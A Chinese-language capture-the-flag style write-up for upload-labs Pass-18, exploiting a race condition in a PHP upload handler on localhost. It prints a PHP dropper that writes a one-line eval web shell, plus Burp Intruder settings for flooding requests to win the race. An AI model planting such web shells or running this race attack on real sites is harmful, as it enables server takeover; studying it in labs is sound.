先上传一张冰冰的靓照!!!
URL地址:http://localhost/upload-labs/upload/1320210721111205.jpg
查看提示:
这个我并不擅长!!!!
查看源代码!!!!
$is_upload = false; $msg = null; if(isset($_POST[‘submit’])){ $ext_arr = array(‘jpg’,’png’,’gif’); $file_name = $_FILES[‘upload_file’][‘name’]; $temp_file = $_FILES[‘upload_file’][‘tmp_name’]; $file_ext = substr($file_name,strrpos($file_name,”.”)+1); $upload_file = UPLOAD_PATH . ‘/’ . $file_name; if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . ‘/’. rand(10, 99).date(“YmdHis”).”.”.$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = “只允许上传.jpg|.png|.gif类型文件!”; unlink($upload_file); } }else{ $msg = ‘上传出错!’; } }
看了大佬的WP,我发现我做过这题!!!
这是一个条件竞争:
if(move_uploaded_file($temp_file, $upload_file))
unlink($upload_file);
代码执行逻辑:先移动,后检测,不符合再删除,符合则改名字。
分析:可以用 burp 一直发包,让 php 程序一直处于移动 php 文件到 upload目录。这个阶段
我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。
我们制作一个特殊的php文件:pass18.php
<?PHP echo md5(1);fputs(fopen(‘shell.php’,’w’),'<?php @eval($_POST[cmd])?>’);?>
这个文件会在上传目录里上传一个shell.php的文件,文件内容为一句话木马,应用条件竞争来批量提交它,然后我们在在服务器没删除他之前访问到,就会执行语句,写入一句话木马写到同级目录下的shell.php里。
这题的BURP里需要设置的内容,还挺多!!!
首先上传pass18.php文件,然后BURP截断,发送到INTRUDER模块!!!
把所有变量清除!!!
在BURP INTRUDER PAYLOADS模块中!PAYLOAD TYPE中设置为NO PAYLOADS,这样可以实现重复发送同一个包!!!
下方PAYLOAD选项中,设置为100000。
然后,请求的线程数修改为100
然后我们在设置访问需要上传的文件,即不断访问且快速的访问上传的文件pass18.php,使其包含的文件创建和写入代码生效,生成shell.php文件。
即这个链接;
localhost/upload-labs/upload/pass18.php
我们先访问这个链接,并使用BURP截断,并传入INTRUDER模块!!!
这里针对这个报文的设置方法与上文的方法一致。
然后,两个报文同时开启开始攻击功能。
可见,访问上传链接,部分回显是200,证明已上传成功!!!
我们查看对应的目录!!!已成功上传!!!
文件内容为标准写入的一句话马
可以采用蚁剑进行正常链接!!!!
来源:freebuf.com 2021-07-24 08:54:14 by: 知非知非知非
请登录后发表评论
注册